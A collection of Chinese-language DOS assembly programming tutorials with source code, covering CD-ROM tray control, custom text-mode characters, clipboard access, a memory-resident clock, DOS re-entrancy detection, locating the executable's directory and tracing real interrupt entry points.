        DB	'http://asm.yeah.net,Email: luoyunbin@telekbird.com.cn'
        DB	0dh,0ah,0ah,24h
D_HELP		DB	'Usage: EJ [drive:] [/?|/L|/U]',0dh,0ah
        DB	'       /?  -------- Display this help',0dh,0ah
        DB	'       /L  -------- Lock door',0dh,0ah
        DB	'       /U  -------- Unlock door',0dh,0ah,24h
MESS_WAIT	DB	'[ENTER] to close, [Esc] to quit.',24h
MESS_ESC	DB	'tray keep open...',0dh,0ah,24h
MESS_NO_CD	DB	'MSCDEX not installed!',0dh,0ah,24h
MESS_STATUS	DB	'There are '
DRV_NUMBER	DB	'0 CD-ROM drive(s) starting at '
DRV		DB	'A:',0dh,0ah,24h
MESS_DRV	DB	0dh,'                                  ',0dh
        DB	'drive '
DRV1		DB	'A: ',24h
MESS_EJECT	DB	'ejecting....',24h
MESS_CLOSE	DB	'closing ....',24h
MESS_LOCK	DB	'locking ....',24h
MESS_UNLOCK	DB	'unlocking...',24h
MESS_DONE	DB	' Done!',0dh,0ah,24h
CD_DRV		DW	?
FLAG		DB	?
;======================================================
REQ_HEAD	DB	1ah,0		;IOCTL input
REQ_CMD		DB	3
REQ_ERR		DW	?
        DB	9 dup (0)
BUF_OFF		DW	buffer
BUF_SEG		DW	?
BUF_LEN		DW	?
        DB	6 dup (0)
;======================================================
BUFFER		DB	5 dup (0)	;Max used 5 bytes
CMD_LINE	PROC
        mov	si,81h		;处理命令行参数
        mov	di,80h
        cld
cmd_reload:
        lodsb
        cmp	al,0dh
        jz	conv_end	;将命令行小写字母换成大写
        cmp	al,'a'
        jb	conv_ok
        cmp	al,'z'
        ja	conv_ok
        sub	al,20h
conv_ok:
        stosb
        jmp	short cmd_reload
conv_end:
        xor	al,al
        stosb

        mov	si,80h
cmd_reload1:
        lodsb
        or	al,al
        jz	cmd_end
        cmp	al,'/'
        jz	cmd_switch
        cmp	al,':'
        jnz	cmd_reload1
        mov	al,[si-2]
        cmp	al,'A'
        jb	cmd_end
        cmp	al,'Z'
        ja	cmd_end
        sub	al,'A'
        xor	ah,ah
        mov	cd_drv,ax
        jmp	short cmd_reload1
cmd_switch:
        lodsb
        cmp	al,'?'
        jz	cmd_help
        cmp	al,'L'
        jz	cmd_lock
        cmp	al,'U'
        jz	cmd_unlock
        jmp	short cmd_reload1
cmd_end:
        ret
cmd_help:
        mov	dx,offset d_help
        call	print
        int	20h
cmd_lock:
        or	flag,1
        jmp	short cmd_reload1
cmd_unlock:
        or	flag,2
        jmp	short cmd_reload1
CMD_LINE	ENDP
CD_INT		PROC
        mov	ax,1510h
        mov	buf_seg,cs
        mov	bx,offset req_head
        mov     cx,cd_drv
        int     2fh

        ret
CD_INT		ENDP
GET_STATUS	PROC
        mov     buffer,6
        mov	buf_len,5
        mov	req_cmd,3
        call    cd_int
        ret
GET_STATUS	ENDP
EJECT_DISK	PROC
        mov	dx,offset mess_drv
        call	print
        mov	dx,offset mess_eject
        call	print
        mov	buffer,0
        mov	buf_len,1
        mov	req_cmd,0ch
        call    cd_int
        mov     dx,offset mess_done
        call    print
        ret
EJECT_DISK      ENDP
CLOSE_TRAY      PROC
        mov     dx,offset mess_drv
        call    print
        mov     dx,offset mess_close
        call    print
        mov	buffer,5
        mov	buf_len,1
        mov	req_cmd,0ch
        call	cd_int
        mov     dx,offset mess_done
        call    print
        ret
CLOSE_TRAY      ENDP
LOCK_DOOR	PROC
        mov	dx,offset mess_drv
        call	print
        mov	dx,offset mess_lock
        call	print

        mov	word ptr buffer,0101h
        mov	buf_len,2
        mov	req_cmd,0ch
        call	cd_int

        mov	dx,offset mess_done
        call	print
        ret
LOCK_DOOR	ENDP
UNLOCK_DOOR	PROC
        mov	dx,offset mess_drv
        call	print
        mov	dx,offset mess_unlock
        call	print

        mov	word ptr buffer,0001h
        mov	buf_len,2
        mov	req_cmd,0ch
        call	cd_int

        mov	dx,offset mess_done
        call	print
        ret
UNLOCK_DOOR	ENDP
CHECK_CDROM     PROC
        mov     ax,1500h
        xor     bx,bx
        int     2fh
        or      bx,bx		;BX = CD-ROM numbers
        jnz     mscdex_installed
        mov     dx,offset mess_no_cd
        call    print
        int     20h
mscdex_installed:
        mov     bp,cx
        xor     bh,bh
        add     bp,bx
        dec     bp
        cmp     cd_drv,cx
        jb      re_set
        cmp     cd_drv,bp
        jbe     par_ok
re_set:
        mov     cd_drv,cx
par_ok:
        add     drv_number,bl
        add     drv,cl
        mov     cx,cd_drv
        add     drv1,cl
        mov     dx,offset mess_status
        call    print
        ret
CHECK_CDROM     ENDP
PRINT		PROC
        mov     ah,9
        int     21h
        ret
PRINT		ENDP
install:
        mov     dx,offset copyright
        call    print
        call	cmd_line
        call    check_cdrom		;检测 CD-ROM 状态
        test	flag,1			;如果 /L 参数则 Lock_door
        jz	ins1
        call	lock_door
        int	20h
ins1:
        test	flag,2			;如果 /U 参数则 unlock_door
        jz	ins2
        call	unlock_door
        int	20h
ins2:
        call    get_status
        test	word ptr buffer+1,1	;如果现在在出盒状态则转入盒
        jnz	close_it
        call    eject_disk		;打开 CD-ROM
        mov     dx,offset mess_wait	;等待
        call    print
        xor     ax,ax
        int     16h
        cmp     al,1bh
        jz      _esc_quit
close_it:
        call    close_tray		;关闭 CD-ROM
        int     20h
_esc_quit:
        mov     dx,offset mess_drv
        call    print
        mov     dx,offset mess_esc
        call    print
        int     20h
CODE		ENDS
        END	START

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Display graphic char in text mode

文本模式下图形字符的显示

概述：
在文本显示模式下，常常可以见到一些字符集里没有的字符，如几个汉字，一个电话符号，还有如 Norton 的 NDD，SPEEDISK 内的窗口边框等等。这些字符是用改变系统的显示字符集的办法实现的。具体来说，就是将一些暂时不用的字符的显示点阵换成自己定义的点阵，然后在显示这些字符时，屏幕上出来的就是自己定义的图像。当然，原来的字符将无法显示，所以，被替换的字符往往是一些不常用的制表符等字符。被替换掉的字符集将一直使用到下次用 INT 10H 的 AH=00H 功能重新设置显示模式时。

有关资料：

1.BIOS 中断 10H 的 11H 入口参数： AH = 11H

功能号 | 入口参数 | 出口参数
AL=00H或10H 装用户规定的字模 | ES：BP=指定的字符点阵 |
 | CX=装入的字符数目
 | DX=从哪个字符开始装入
 | BL=要装入的模式
 | BH=每个字符点阵的数据字节数

汇编编程示例：

；定义字符点阵，下面是一个电话的符号，因为用一个字符的位置显示一个电话是不够的，所以下面是两个字符点阵的数据，要注意前16字节是电话的左半边，后16字节是电话的右半边，你把下面的数据化成二进制一看便知，不过就这32字节可花了我半小时在纸上画框框，打叉叉...
；比如以下的数据是这样得到的

; ........ 0000 0000 00h
; ..xxxxxx 0011 1111 3fh
; .x...... 0100 0000 40h
; .x.xxxxx 0101 1111 5fh
; .x.x..x. 0101 0010 52h
; .xxx.x.. 0111 0100 74h
; ....x.xx 0000 1011 0bh
; ...x.x.. 0001 0100 14h
; ..x.x..x 0010 1001 29h
; .x..x.x. 0100 1010 4ah
; .x..x..x 0100 1001 49h
; .x...x.. 0100 0100 44h
; .x....xx 0100 0011 43h
; ..xxxxxx 0011 1111 3fh
; ........ 0000 0000 00h
; ........ 0000 0000 00h

CHAR db 00h,3fh,40h,5fh,52h,74h,0bh,14h ;left part of phone
db 29h,4ah,49h,44h,43h,3fh,00h,00h

db 00h,0f8h,04h,0f4h,094h,5ch,0a0h,50h ;right part of phone
db 28h,0a4h,24h,44h,84h,0f8h,00h,00h

STR db 'This is a phone:',0ceh,0cfh,'$'

...

mov ax,1100h ;功能号
mov bx,1000h ;BH=10H,每字符点阵为16字节
mov cx,2 ;共要装入2字节
mov dx,00ceh ;从00CEH开始（00CEH，00CFH）
mov es,data_segment
mov bp,offset char ;ES:BP为字符点阵数据地址
int 10h

mov ah,9 ;把字符 ce,cf显示出来看看，是什么!
mov dx,offset str
int 21h

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Get windows clipboard data in DOS

DOS 程序读取Windows 的剪贴板数据

概述：

Windows 中剪贴板的功能给了我们很大的方便，但在 DOS 窗口下运行的程序如何利用剪贴板来获得数据呢？DOS 的 INT 2FH 中断提供了几个有关剪贴板操作的中断，以下是中断的资料和读取剪贴板文本数据的编程示例。经过修改大家很容易编出读取图形数据的程序。
本程序要用到的 INT 2FH 中断的 17xxH 功能如下：

功能号 | 入口参数 | 出口参数
AX = 1700H 检验是否支持剪贴板 | AX = 1700H | AX = 1700H 不支持
 |  | AX <> 1700H 支持
AH = 1701H 打开剪贴板 | AX = 1701H | AX <> 0 成功
 |  | AX = 0 剪贴板已打开
AH = 1702H 清空剪贴板 | AX = 1702H | AX <> 0 成功
 |  | AX = 0 失败
AH = 1703H 将数据传入剪贴板 | AX = 1703H | AX <> 0 成功
 | DX = 数据格式 1 = 文本 2 = Bitmap 3 = Metafile picture 4 = SYLK 5 = DIF 6 = TIFF 7 = OEM 文本
 | ES:BX 指向数据缓冲区 | AX = 0 失败
 | SI:CX = 数据长度
AH = 1704H 取剪贴板数据长度 | AX = 1704H | DX:AX = 剪贴板内数据长度
 | DX = 数据格式（详见1703的DX） | DX:AX = 0 剪贴板内无数据
AH = 1705H 剪贴板数据 | AX = 1705H | AX <> 0 成功
 | ES:BX 指向自己定义的数据缓冲区 | AX = 0 失败
AH = 1708H 关闭剪贴板 | AX = 1708H | AX <> 0 成功
 |  | AX = 0 失败

源程序：

;Copyright by LuoYunBin
;http://asm.yeah.net
;本程序未考虑剪贴板数据长度超过 60K 的情况！

.286
code segment
assume cs:code,ds:code
org 100h
start:
jmp install

d_clip		db	'Length in clipboard is %ld bytes.',0dh,0ah,0ah
        db	'The text in clipboard is:',0dh,0ah
        db	'-------------------------------------------',0dh,0ah
        db	'%c',0dh,0ah
        db	'-------------------------------------------',0dh,0ah,0
        dw	_length,buffer
d_no_data	db	'There is no data in clipboard!',0dh,0ah,0
_length		dw	?,?
install:
        mov	ax,1701h	;打开剪贴板
        int	2fh

        mov	ax,1704h	;读剪贴板数据长度
        mov	dx,1		;数据格式为文本
        int	2fh
        or	ax,ax		;为 0 则无数据
        jnz	has_data
        or	dx,dx
        jz	no_data
has_data:
        mov	_length,ax	;保存数据长度
        mov	_length+2,dx
        mov	ax,1705h	;读剪贴板数据
        mov	dx,1
        mov	bx,offset buffer
        int	2fh
        or	ax,ax
        jz	no_data

        mov	ax,1708h	;关闭剪贴板
        int	2fh

        mov	si,_length
        mov	buffer [si],0

        mov	si,offset d_clip	;显示数据
        call	printf

        int	20h
no_data:
        mov	si,offset d_no_data
        call	printf
        int	20h

include		printf.asm		;一个共用的显示程序
buffer		equ	this byte	;文件用作数据缓冲区
code		ends
        end	start

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Source program of clock

一个时钟程序

概述：
这个时钟程序是我在1993年编的一个小程序，现在贴出来给大家做参考，它执行后驻留内存，到整点时会报时，你可以用 Ctrl-Alt-U 把它从内存中下掉，可以用 Ctrl-Alt-C 变换颜色，用 Ctrl-Alt-O 把报时声音关掉（如果感到讨厌的话），在驻留内存时，用了直接改内存控制块的方法，所以用 MEM 或 MI 无法在内存中看到它，键盘控制用了直接截取 INT 9 的方法。
这个程序虽然很小，编译后才1K多一点点字节，但是麻雀虽小，五脏俱全，在这个程序中，你可以参考到以下编程方法：如何驻留内存；如何截取中断向量；如何在硬件层次上应答键盘；如何截取组合键。
由于时间有限，我就不把注释翻译成中文了，大家有空自己琢磨，本程序在引用时请注明出处，并请勿改动版权信息。这里是编译好的可执行文件：clock.com

源程序：

; CLOCK program
; by LuoYunBin Apr,1993

DISPLAY_COLOR EQU 0EH ;init color

CODE SEGMENT
ASSUME CS:CODE,DS:CODE
ORG 0C0H

CLOCK DB 0
MINU DB 0
SECOND DB 0
BEEP_TIME DB 0
LAST_SEC DB 0
OFF1C DW ?
SEG1C DW ?
DISPLAY_DATA DB 0,0,':',0,0,':',0,0

ORG 100H
start:
jmp install
int1c:
pushf
push es
push ds
push ax

push cs
pop ds

xor ax,ax
mov es,ax
mov al,es:[0449h] ;get display mode

mov word ptr v_buffer-2,0b800h
mov byte ptr clock_place-2,72*2

cmp al,3 ;the clock may display
jbe text_color ;at mode 0,1,2,3,7
cmp al,7
jz text_mon
mov word ptr v_buffer-2,es
jmp short calu
text_color:
cmp al,1
ja calu
mov byte ptr clock_place-2,32*2
jmp short calu
text_mon:
mov word ptr v_buffer-2,0b000h
calu:
push bx
push cx
push dx
push di
push si

mov cx,es:[046eh] ;get clock timers
mov dx,es:[046ch]

mov ax,cx ;counter=cx:dx
mov bx,dx
shl dx,1
rcl cx,1
shl dx,1
rcl cx,1

add dx,bx
adc ax,cx
xchg dx,ax ;dx:ax=cx:dx*5

mov cx,0e90bh
div cx ;divide by E90B*E90B

mov bx,ax
xor ax,ax
div cx

mov dx,bx
mov cx,00c8h
div cx

cmp dl,100
jb clock_0

sub dl,100
clock_0:
cmc
rcl ax,1
mov dl,0
rcl dx,1
mov cl,60
div cx

mov second,dl
div cl

mov minu,ah
mov clock,al
code1:
jmp short code2 ;when speaker on here is NOP

dec beep_time ;dec alarm time
jz turn_sp_off

cmp last_sec,1 ;every 10 min's beep
jz dat0

cmp last_sec,59 ;59 min 59 sec's beep
jnz dat1

mov cl,6
mov ch,3
mov bx,800h
jmp short dat2
dat0:
mov cl,3
mov ch,2
mov bx,200h
dat2:
mov al,beep_time
xor ah,ah
div cl

cmp ah,ch
jz short speak_on1

or ah,ah ;after 1 count off
jz dat1

in al,61h
and al,0fch
out 61h,al
dat1:
jmp short disp_clock
turn_sp_off:
in al,61h
and al,0fch
out 61h,al ;turn off the speaker

mov word ptr code1,-1 ;move code1 (jmp code2)
code2:
mov al,ah ;al is minute
mov ah,dl ;ah is second

or ah,ah
jz is_sec0

cmp ah,1
jz is_sec1

cmp al,59 ;59 min
jnz disp_clock

cmp ah,59
jnz disp_clock

mov beep_time,15
mov bx,800h
jmp short speak_on
is_sec1:
mov last_sec,0ffh
jmp short disp_clock
is_sec0:
or al,al
jz is_min0

mov cl,10 ;if is every 10 min
div cl
or ah,ah
jnz disp_clock

mov cl,3
mul cl
dec al
mov beep_time,al
inc ah
mov bx,200h
jmp short speak_on
is_min0:
mov beep_time,18
mov bx,400h
speak_on:
cmp last_sec,ah ;then not oprate
mov last_sec,ah
jz disp_clock
speak_on1:
mov al,0b6h
out 43h,al
mov ax,bx
out 42h,al
mov al,ah
out 42h,al

in al,61h ;turn on the speaker
or al,3
out 61h,al
mov word ptr code1,9090h ;move code1 (NOP)
disp_clock:
mov al,clock
mov si,offset display_data
push si
call hex_to_asc ;turn HEX to ASC II code
mov al,minu
call hex_to_asc
mov al,second
call hex_to_asc
pop si
cmp byte ptr [si],'0'
jnz mov_data

mov byte ptr [si],' '
mov_data:
mov ax,0b800h ;buffer segment
v_buffer:
or ax,ax
jz i1cquit
mov es,ax
mov di,72*2
clock_place:
mov cx,8
cld
mov ah,display_color ;the color is yellow
code3:
jmp short is_vga

mov dx,3dah
m_loop:
in al,dx
test al,8
jnz n3

test al,1
jnz m_loop
n2:
in al,dx
test al,1
jz n2
n3:
lodsb
stosw
loop m_loop
jmp short i1cquit
is_vga:
lodsb
stosw
loop is_vga
i1cquit:
pop si
pop di
pop dx
pop cx
pop bx
pop ax
pop ds
pop es
popf
iret

HEX_TO_ASC PROC NEAR

cbw
mov cl,10
div cl

add ax,'00'
mov ds:[si],ax

add si,3

ret

HEX_TO_ASC ENDP

; new int 9 keyboard program
; Ctrl-Alt-U to unload
; C to change clock color
; B to change clock background color

int9:
pushf
push ax
push ds
xor ax,ax
mov ds,ax
mov al,ds:[0417h]
and al,0ch
cmp al,0ch
jz ctrl_alt_down ;if Ctrl-Alt press down
to_old9:
pop ds
pop ax
popf
DB 0EAH
OFF9 DW ?
SEG9 DW ?

ctrl_alt_down:
in al,60h
cmp al,80h ;if release key
jae to_old9
cmp al,24 ;o key
jz right_key
cmp al,46 ;c key
jz right_key
cmp al,22 ;u key
jz right_key
cmp al,48 ;b key
jnz to_old9
right_key:
push ax
in al,61h
mov ah,al
or al,80h
out 61h,al
xchg ah,al
out 61h,al ;answer the keyboard
pop ax

cmp al,22 ;u key
jz un_load

push cs
pop ds
cmp al,24 ;o key
jz key_o
cmp al,46 ;c key
jz key_c

mov al,byte ptr code3-1 ;is "b" key:change back color
mov ah,al
and al,0f0h
add al,10h
cmp al,80h
jnz bc_1
xor al,al
bc_1:
and ah,0fh
or al,ah
jmp short chg_color
key_c:
mov al,byte ptr code3-1
mov ah,al
and al,0fh
inc al
cmp al,10h
jnz fc_1
xor al,al
fc_1:
and ah,0f0h
or al,ah
chg_color:
mov byte ptr code3-1,al
jmp short key_iret
un_load:
push es
les ax,dword ptr cs:off9
mov ds:[0024h],ax
mov ds:[0026h],es
les ax,dword ptr cs:off1c
mov ds:[0070h],ax
mov ds:[0072h],es
push cs
pop ax
dec ax
mov ds,ax
mov word ptr ds:[0001],0
pop es
jmp short key_iret
key_o:
cmp byte ptr int1c,9ch ;code of PUSHF
jz turn_off

mov byte ptr int1c,9ch
jmp short key_iret
turn_off:
mov byte ptr int1c,0cfh ;code of IRET
key_iret:
mov al,20h
out 20h,al ;send EOI command
pop ds
pop ax
popf
iret
install:
mov byte ptr display_data+2,':'
mov byte ptr display_data+5,':'
mov ax,word ptr code1
mov word ptr code2-2,ax
mov si,81h
mov bp,offset int9 ;bp is str point
cld
re_load:
lodsb
cmp al,' '
jz re_load
cmp al,0dh
jz com_line_end
cmp al,'?'
jz help
or al,20h
cmp al,'u'
jz no_key_int
cmp al,'h'
jnz re_load
help:
mov dx,offset d_help
mov ah,9
int 21h
int 20h
com_line_end:
clc
jmp short have_key_int
no_key_int:
stc
have_key_int:
pushf
mov ax,351ch
int 21h
mov off1c,bx
mov seg1c,es
cmp bx,offset int1c
jnz not_loaded

mov dx,offset d_has
mov ah,9
int 21h
jmp quit
not_loaded:
popf
jc skip_key
mov ax,3509h
int 21h

mov off9,bx
mov seg9,es
mov dx,offset int9
mov ax,2509h
int 21h ;set keyboard intrupter vector
mov bp,offset install
skip_key:
mov ax,251ch
mov dx,offset int1c
int 21h ;set clock interupter vector

mov ah,0fh ;if is MDA,color=09
int 10h
cmp al,07h
jnz is_color
mov byte ptr ds:code3-1,09h
is_color:
mov ah,1bh ;if is VGA,then not test snow
xor bx,bx
push cs
pop es
mov di,offset buffer
int 10h
cmp al,1bh
jz vga_card
mov word ptr ds:code3,9090h
vga_card:
mov bx,bp
add bx,000fh
shr bx,1
shr bx,1
shr bx,1
shr bx,1
mov ah,4ah
int 21h

push cs
pop ax
dec ax
mov ds,ax
mov word ptr ds:[0001h],0008h
quit:
int 20h

D_help db '<<< CLOCK >>> Version 1.4',0dh,0ah
db '(c)1995 By Luo Yun Bin of HuangYan post office.',0dh,0ah
db 'phone:0576-4114689',0dh,0ah
db 'BP: 0576-126 call 117654',0dh,0ah
db 'Usage:',0dh,0ah
db 9,'Ctrl-Alt-U: unload from memory.',0dh,0ah
db 9,'Ctrl-Alt-C: change color.',0dh,0ah
db 9,'Ctrl-Alt-B: change backgroud color.',0dh,0ah
db 9,'Ctrl-Alt-O: turn on/off.',0dh,0ah
db '$'

D_HAS db 'CLOCK has been installed!',0dh,0ah,'$'

BUFFER EQU THIS BYTE

CODE ENDS
END start

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


DOS re-enter

驻留程序DOS重入的检测

概述：

 大家都知道，DOS 是一个单用户的操作系统，它的核心程序是不允许重入的，说的具体一点，如果我们要编一个递归调用的程序，我们会把参数放在堆栈里，而不是用设置变量的方法，这样在下一层程序返回时，不会有临时变量被改变的危险，而 DOS 在处理中断 INT 21H 时使用的临时数据是放在内部数据区内的，如果在一个 INT 21H 过程中再发生另一个 INT 21H，在第二个 INT 21H 执行完以后回到第一个 INT 21H 时，原来保存的临时数据就不是原来的样子了，而是第二个 INT 21H 执行完后留下的‘垃圾’，编一个内存驻留程序，随时弹出一个窗口执行 INT 21H 功能，要想不死机，就必须先解决 DOS 的重入问题。
解决重入问题有两种方法，第一种是在进入 INT 21H 前人为保存 DOS 的内部数据结构到自己的缓冲区，在执行完后恢复，这种方法依赖于 DOS 的内部资料，而且不同的 DOS 版本的数据结构、数据位置是不一样的，使用起来有相当的难度，而且对新版的操作系统的兼容程度是未知的。
常用的办法是在要激活驻留程序前，先检测 DOS 的状态，如果 DOS 是空闲的，就可以马上激活，如果DOS 忙，就等到 DOS 空闲后再激活。本文就是讨论检测 DOS 状态的方法。
实际上，DOS 本身已经或多或少的考虑了这个问题，它本身有个 InDOS 标志，在执行 DOS 功能时，它会把标志 +1，退出时 -1，如果检测 InDOS 不是 0，就说明 DOS 的某些功能在执行中。DOS 功能 INT 21H的 34H 子功能即是得到 InDOS 标志的地址，在这个标志前一个字节是 DOS紧急错误标志。在 DOS 忙判断上有两个特殊情况，一是 DOS 在紧急错误时会减少 InDOS 标志，所以检测到 InDOS 为 0 时还要确定错误标志为 0，进入 DOS 才是安全的，二是有些 DOS 功能本身就允许重入，它们是一些不用到内部数据区的输入命令等，如等待命令输入时 DOS 执行的是输入子功能，这时的 InDOS 为 1，但实际上是允许进入 DOS 的，在这中情况下，DOS 会不停的发 INT 28H 中断，原来的 INT 28H 功能是不做任何事马上返回。用户可以在 INT 28H中挂上自己的程序而不必担心 DOS 重入。
具体的编程示例见源程序，方法是截取 INT 28H 和 INT 21H，在检测到热键后，一般设置一个标志，然后在新的 INT 28H 和 INT 21H 中检测 DOS 是否空闲再进入。

   本程序要用到的 INT 21H 的 34H 功能如下：

功能号 | 入口参数 | 出口参数
AH = 34H 得到 InDOS 标志的地址 | 无 | ES:BX 指向 InDOS 标志，前一个字节为 DOS 紧急错误标志

源程序：

;Copyright by LuoYunBin
;http://asm.yeah.net

...
; 数据定义

DOS_ERROR DB 0 ;dos error flag
IN_DOS_TIMES DB 0 ;InDos flag
Off_InDos DW ? ;保存InDos 标志地址
Seg_InDos DW ?

;我们在热键中检测到要激活时，把 Flag 的位 0 置 1，然后再在 Int 28h 和 Int21h
;中判断 DOS 空闲在进入
Flag db 0

...

mov ah,34h ;取 InDos 标志地址
int 21h
mov off_InDos,bx
mov seg_InDos,es
...

;==========get dos error & busy flag===================
;取 DOS 标志和紧急错误标志的子程序

IN_DOS		PROC
        pushf
        push	si
        push	ds
        push	ax
        lds	si,dword ptr cs:off_InDos
        dec	si
        lodsb
        mov	cs:dos_error,al		;dos in fatel error's flag
        lodsb
        mov	cs:in_dos_times,al	;times of re-enter DOS
        pop	ax			;normal equ 1 or 0
        pop	ds			;if > 1, DOS is really busy
        pop	si
        popf
        ret
IN_DOS		ENDP

;新的 int 28h 中断程序,在这儿判断 DOS 是否忙并执行主程序
;在 DOS 命令行等待输入时的激活将由此进入

int28:
        pushf
        call	in_dos			;由于 int 28h 由 DOS内部发出
        cmp	cs:in_dos_times,1	;所以 InDos > 1,DOS 才是忙的
        ja	int28_quit
        cmp	cs:dos_error,0		;如果在 DOS 错误中，就无法激活
        jnz	int28_quit
        test	cs:flag,00000001b	;是否检测到过热键
        jz	int28_quit
        call	main                    ;激活主程序，不过别忘了在主程序中
int28_quit:					;设置标志防止自己也被重入了！！
        popf
        db	0eah			;即 JMP seg28:off28 的机器码
OFF28		DW	?			;驻留时把原 int 28h地址保存到这儿
SEG28		DW	?

;新的 int 28h 中断程序,在这儿也要判断 DOS 是否忙并执行主程序
;打断别的程序再激活一般由此进入，如果你觉得激活的途径还不够
;多，那么在检测热键的程序中再加上跟下面同样的代码！

int21:
        pushf
              push	ds

        cmp     自己的 main 是否在执行中
        jz	int21_quit		;first time--quit
        test	flag,00000001b		;是否检测到过热键
        jz	int21_quit
        call	in_dos
        cmp	in_dos_times,0		;InDos 标志不等于 0 是危险的
        jnz	int21_quit		;and not in dos error---active
        cmp	dos_error,0
        jnz	int21_quit
        call	main
int21_quit:
        pop	ds
        popf
        DB	0EAH
OFF21		DW	?
SEG21		DW	?

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Check excuting file's name

检测DOS程序执行的目录

概述：
在 DOS 程序执行时，要确定当前目录是很容易的，有现成的 DOS 中断，但当程序是在 PAHT 指定的目录中执行时，有时要用到相同目录下的数据文件，这样就需要获得执行程序所在的目录。
DOS 程序执行时，系统要建立一个用于进程的环境块，文件刚开始执行时，DS 和 ES 指向 PSP 地址，而 PSP 段的偏移 002CH 处的一个字的内容就是环境块的段地址。环境块里面是用 SET 命令可以看到的环境字符串，包括 PATH，PROMPT 串等等，每个串以 00 结尾，整个环境块以 00 00 结束，在环境串以后为字节 01 00，再接下去就是包括全路径的执行文件名，对这个字符串进行处理，截去最后的文件名，得到的就是当前文件所在的目录。

C:\> debug
-d 002c
1577:002C D6 0E 4E 01 ..N.
(0ED6:0000 即环境块段地址）
-d 0ed6:0
0ED6:0000 43 4F 4E 46 49 47 3D 4E-6F 72 00 54 4D 50 3D 43 CONFIG=Nor.TMP=C
0ED6:0010 3A 5C 57 49 4E 44 4F 57-53 5C 54 45 4D 50 00 54 :\WINDOWS\TEMP.T
0ED6:0020 45 4D 50 3D 43 3A 5C 57-49 4E 44 4F 57 53 5C 54 EMP=C:\WINDOWS\T
0ED6:0030 45 4D 50 00 77 69 6E 62-6F 6F 74 64 69 72 3D 43 EMP.winbootdir=C
0ED6:0040 3A 5C 57 49 4E 44 4F 57-53 00 43 4F 4D 53 50 45 :\WINDOWS.COMSPE
0ED6:0050 43 3D 43 3A 5C 57 49 4E-44 4F 57 53 5C 43 4F 4D C=C:\WINDOWS\COM
0ED6:0060 4D 41 4E 44 2E 43 4F 4D-00 50 41 54 48 3D 45 3A MAND.COM.PATH=E:
0ED6:0070 5C 42 4F 52 4C 41 4E 44-5C 42 49 4E 3B 44 3A 5C \BORLAND\BIN;D:\
0ED6:0080 41 44 56 53 43 48 3B 43-3A 5C 57 49 4E 44 4F 57 ADVSCH;C:\WINDOW
0ED6:0090 53 3B 43 3A 5C 57 49 4E-44 4F 57 53 5C 43 4F 4D S;C:\WINDOWS\COM
0ED6:00A0 4D 41 4E 44 3B 43 3A 5C-54 4F 4F 4C 53 3B 43 3A MAND;C:\TOOLS;C:
0ED6:00B0 5C 44 4F 53 3B 43 3A 5C-4E 4F 52 54 4F 4E 3B 44 \DOS;C:\NORTON;D
0ED6:00C0 3A 5C 50 52 4F 54 45 4C-3B 44 3A 5C 50 46 57 3B :\PROTEL;D:\PFW;
0ED6:00D0 44 3A 5C 50 46 57 00 50-52 4F 4D 50 54 3D 24 70 D:/PFW.PROMPT=$P
0ED6:00E0 24 67 20 00 77 69 6E 64-69 72 3D 43 3A 5C 57 49 $g .windir=C:\WI
0ED6:00F0 4E 44 4F 57 53 00 42 4C-41 53 54 45 52 3D 41 32 NDOWS.BLASTER=A2
0ED6:0100 32 30 20 49 35 20 44 31-20 54 36 20 50 33 31 30 20 I5 D1 T6 P310
0ED6:0110 00 43 4D 44 4C 49 4E 45-3D 64 65 62 75 67 00 00 .CMDLINE=debug..
0ED6:0120 01 00 43 3A 5C 57 49 4E-44 4F 57 53 5C 43 4F 4D ..C:\WINDOWS\COM
0ED6:0130 4D 41 4E 44 5C 44 45 42-55 47 2E 45 58 45 00 CD MAND\DEBUG.EXE..
0ED6:0140 5A EB 0E 15 91 C0 CD 21-44 45 42 55 47 00 21 C3 Z......!DEBUG.!.
0ED6:0150 CD 20 00 A0 00 9A F0 FE-1D F0 14 03 16 0D 6D 01 . ............m.
(红字 00 00 即环境块结束，蓝字为当前执行文件名）

汇编编程示例：

...
mov es,ds:[002ch] ;DS指向PSP段地址，DS的002C为环境块段地址
mov cx,0ffffh ;取环境块段地址
xor di,di
xor al,al
cld
re_scan:
repnz scasb ;查找 00
scasb ;判断 下一个字节是否为 00
jnz re_scan ;不是则继续查找
inc di ;找到 00 00 则加 2 字节地址就是文件名
inc di ;现在ES:DI所指的就是执行的文件名
...

(C) Copyright by LuoYunBin's Win32 ASM Page，http://asm.yeah.net


How to get real INT enter

如何获取真正中断入口地址

概述：

我们知道，DOS 的中断例程的入口地址存在 0000：0000 开始的中断向量表中，当程序要要建立一个中断例程时，需要修改中断向量表把入口地址指向自己的程序，为了使原来的中断例程能正常使用，在出口的时候还要用远跳转指令回到原中断的入口地址，如 DOS 中断 INT 21H，在 DOS 启动后，后面要挂上很多的新的例程，如 SMARTDRV 等等，磁盘中断 INT 13H 也是如此。
但在程序中，有时需要用到真正的中断入口，如 INT 13H 的 BIOS 入口举例说为 F000：EC59，为了反跟踪，程序中有时要用 PUSHF/CALL F000：EC59 的方法来调用，这就需要在程序开始运行时检测出真正的中断入口地址以备用。
检测真正的入口地址可以用单步中断的方法来进行，在调用 INT XX之前，把单步中断指向自己的程序，
在单步中断中，从堆栈中取出要返回的地址，这就起到的跟踪 INT XX 的执行的作用，举例程序中将跟踪 INT 21H 的执行，然后把执行的地址输出到屏幕上，在 INT 21H 中远跳转的地方给出提示。
真正的中断地址往往在远跳转的地方，在判断哪个远跳转是真正的中断地址时，不同的中断要具体判断，如跟踪 INT 13H 时，我们知道 BIOS 的段地址一般为 E000，所以一旦判断到段地址为 E000 时，就可以把这个地址保存下来作为真正 INT 13H 地址，而跟踪 INT 21H 时，INT 21H 在 DOS 的内核中，所以要先用第一个 MCB 地址的功能取出 MCB 地址，而第一个 MCB 地址之前是系统内核区，当判断到段地址小于第一个 MCB 地址时，这个地址就是真正的 INT 21H 地址。

汇编编程示例：

.286
CODE SEGMENT
ASSUME CS:CODE,DS:CODE
ORG 100H
start:
jmp install

D_MES1		DB	'CS:IP = %04h:%04h  %,FLAG = %017b%,',0dh,0ah,0
        DW	_CS,_IP,_FLAG
_CS		DW	?
_OLD_CS		DW	?
_IP		DW	?
_FLAG		DW	?
